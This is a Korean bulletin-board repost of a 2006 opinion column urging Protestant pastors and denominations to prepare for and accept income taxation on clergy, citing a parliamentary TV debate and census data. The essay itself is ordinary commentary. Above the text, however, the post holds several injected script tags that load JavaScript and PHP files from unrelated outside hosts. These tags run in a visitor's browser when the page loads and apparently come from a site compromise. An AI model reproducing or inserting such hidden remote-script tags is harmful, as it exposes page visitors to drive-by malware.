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칼럼 [이진오 칼럼]목회자 소득세 문제 논의시급하다[뉴조06/26]

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작성자 by 관리자 / 작성일06-06-27 12:08 / 조회 4,208 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    선도할 것인가 저항할 것인가 
목회자 소득세 문제 논의 시급하다
 
 
 
 
 2006년 06월 26일 (월)
 이진오 기윤실 사무처장/교회개혁실천연대 집행위원
 
 
 
지난 6월 15일 국회방송에서 ‘종교인 과세 어떻게 할 것인가’라는 주제의 토론회가 열렸다. 필자는 목회자와 일반 시민단체 대표가 종교인 과세 문제를 가지고 토론하는 장면을 방청하였다. 50분간 진행된 토론회에서 ‘과세 반대’ 입장의 토론자로 나온 목사님과 세무사인 장로님께서 여러 가지 말로 과세가 부당하다고 강변했지만 법적 근거나 신학적 명분, 사회적 지지를 대변하기보다 억지와 강청에 가까운 주장으로 들렸다.

목사님이 신학적 명분으로 제시한 정교분리나 성직에 대한 주장은 종교인에게 과세한다고 해서 훼손되는 것이 아니고, 법적 근거로 제시한 ‘목회자는 근로자가 아니다’라는 주장은 노동법과 근로기준법상 근로자가 아니더라도 과세 대상에서 예외가 아니라는 간단한 반론으로 정당성이 상실되었다. 또 사회적으로 교회와 목회자가 많은 긍정적 역할을 하고 있기에 면세해야 한다는 주장은 인터넷 여론조사에서 90% 가까이가 납세를 찬성하고 있고, 교회와 목회자의 사회적 역할 때문에 면세해야한다는 것은 특혜를 요구하는 것이라는 주장으로 반박 당하였다. 그나마 한 가지 이해를 구한 것은 대한민국 건국 이래 조세당국에서 종교인 과세를 적극적으로 시행하지 않고 방치해왔기 때문에 시행함에 있어 충분한 대화와 대책 마련을 위한 유예기간이 필요하다는 요청 정도이다.

앞서서 막아주는 목사님 덕에 무속인들 혜택

토론회 이후 담당 PD는 사실 더 문제는 약 80만에 이르는 무속인들인데 기독교의 목사님들 뒤에 숨어 혜택을 누리고 있다며 욕은 다 기독교가 먹고 있다고 안타까워했다. 반면 가톨릭은 1992년 기독교계 내에서 목회자 납세 문제로 논쟁이 일고 있을 때 전체 신부에 대한 납세를 결정함에 따라 실제 납세가 거의 없음에도 불구하고 사회적으로 긍정적 이미지 형성에만 도움을 크게 받고 있다.

국회방송은 입법 기능을 하는 국회 내 방송으로 정부의 주요 정책에 대한 설명이나 국회의원들의 입법 활동을 중심으로 방송하는 곳이다. 이곳에서 토론회가 있었다는 것은 정책결정이 임박했다는 것을 의미한다. 이미 국회보에서는 찬반 지상논쟁이 전개되었다. 실제로 종교인 납세를 주장하며 서명운동 등을 전개해 온 '종교비판자유실현연대'(이하 종비련)이란 단체에서는 지난 5월 2일 국세청장을 직무유기와 직권남용으로 검찰에 고발하였고, 이에 따라 국세청에서는 재정경제부에 종교인 납세와 관련해 유권해석을 의뢰해 놓은 상황이다.

또 이미 조세당국은 비영리단체에 기부한 사람들이 소득공제를 목적으로 비영리단체를 통해 발급받던 기부금 공제 내용을 전산화하기 시작했다. 그동안 관행적으로 이루어지던 비영리법인(의료, 교육, 사회복지, 비영리민간단체, 종교 등)의 기부금 공제 영수증 남발과 심지어 불법 매매 하던 관행에 제동이 걸리게 된 것이다. 이는 사회 전체로 볼 때 재정 흐름의 투명성을 높여 탈세 등을 원천 봉쇄해 국가 예산 편성을 건강하게 하는데 기여할 것이다. 교회도 그동안 헌금한 개인에 대해 연말 소득공제용 기부금 공제 영수증을 발행해 왔다. 그런데 들리는 말에 의하면 법인으로 조세당국에 수입총액을 보고하는 교단의 보고와 기부금 공제 영수증 발급액 사이에 큰 차이가 난다고 한다. 수입총액 보고도 정직하게 해야 하고, 기부금 영수증 발급도 정직하게 해야 한다.

지금까지는 조세당국이 적극적으로 과세하지 않고 방치한 것을 근거로 목회자는 탈세자가 아니라고 주장할 수 있었지만, 앞으로 조세당국이 과세를 결정하고 적극적으로 세금 신고를 요청하게 되면 과세를 위한 어떠한 준비도 하지 않은 교회와 목회자들이 당할 곤란은 보지 않아도 눈에 선하다. 더구나 이를 종교탄압으로 규정하고 교회가 힘을 합쳐 저항하는 일이 벌어지면 일반 사회에서 교회와 목회자를 반사회적인 집단으로 바라보게 되고 결과적으로 선교에 얼마나 악영향을 미치게 될까 심히 염려스럽다.

우리는 2001년 한 신학대 연구소에서 일반인을 대상으로 실시한 설문조사에서 기독교에 대한 부정적 인식의 원인으로 "자기교회 중심적이다(68.9%)와 품위 없는 성직자가 많다(52.8%)"를 지적했다는 것을 기억해야 한다. 일반 사람들이 볼 때 기독교가 이웃사랑보다 교회성장에 치중하고 있고, 성직자의 도덕성이 높지 않다고 느끼는 것이 선교에 악영향을 미치고 있다는 것이다. 실제 지난 5월 통계청이 실시한 ‘2005년 인구주택총조사’에 따르면, 2005년 기독교인 수는 861만 명으로 1995년에 비해 1.6%가 줄어들었다. 이는 같은 기간 동안 가톨릭이 74.4%, 원불교가 49.6%, 불교가 3.9% 증가한 것에 비하면 충격적이고 안타까운 결과라 하겠다.

임박한 종교인 과세 입법...기독교계의 통일된 원칙 정립 절실

목회자 납세는 일반 시민 납세와 동일하게 소득에 따라 달라지는 것이다. 소득이 많은 분은 많이 납세하고 소득이 면세점 이하(4인 가족 기준 146만원)인 분들은 납세할 것이 없는 것이다. 또 연봉 기준 3천만 원 이하인 직장인들이 다양한 경제활동에 따라 연말 정산을 통해 납세한 재정을 대부분 돌려받는 것을 감안할 때 약 80% 가량이 미자립 상태인 한국교회 현실을 감안할 때 실제 납세할 목회자는 거의 없을 것이다. 그러나 실제 납세가 이루어지지 않는다고 해도 국가 재정 흐름을 투명하게 파악해 건강한 예산안을 세우는 데는 목회자를 포함한 모든 국민이 자신이 받고 있는 생활비를 투명하게 신고하는 것이 필수적이다. 현대 사회에서 세금은 사회구성원 간의 공적부조(公的扶助)이기 때문에 이웃사랑을 실천하는 소극적 행위가 되는 것이다. 더 큰 사랑도 실천하는 교회와 목회자가 작은 실천을 거부하고 저항하는 것은 설득력이 없다.

지금이라도 목회자 소득세 신고를 위해 필요한 교회 재정 항목에 대한 정비와 회계프로그램 도입 등을 통해 준비해야 한다. 노회, 총회 구조로 볼 때 목회자 소득세 신고 문제는 개별 교회 목회자의 양심에 맡길 수 있는 사안이 아니다. 각 교단 지도자들이 모여 목회자 소득세 신고 문제를 논의해 내용과 방향을 정하고 선도적으로 대처해야 한다. 문제가 제기 되었을 때 소극적으로 방관하거나 억지 주장으로 저항하는 것보다 적극적이고 선도적으로 문제를 풀어나가는 것이 필요하다. 이것이 그리스도의 가르침을 따르는 교회의 덕을 세우는 길일 것이다.

이진오 / 기독교윤리실천운동 사무처장
 
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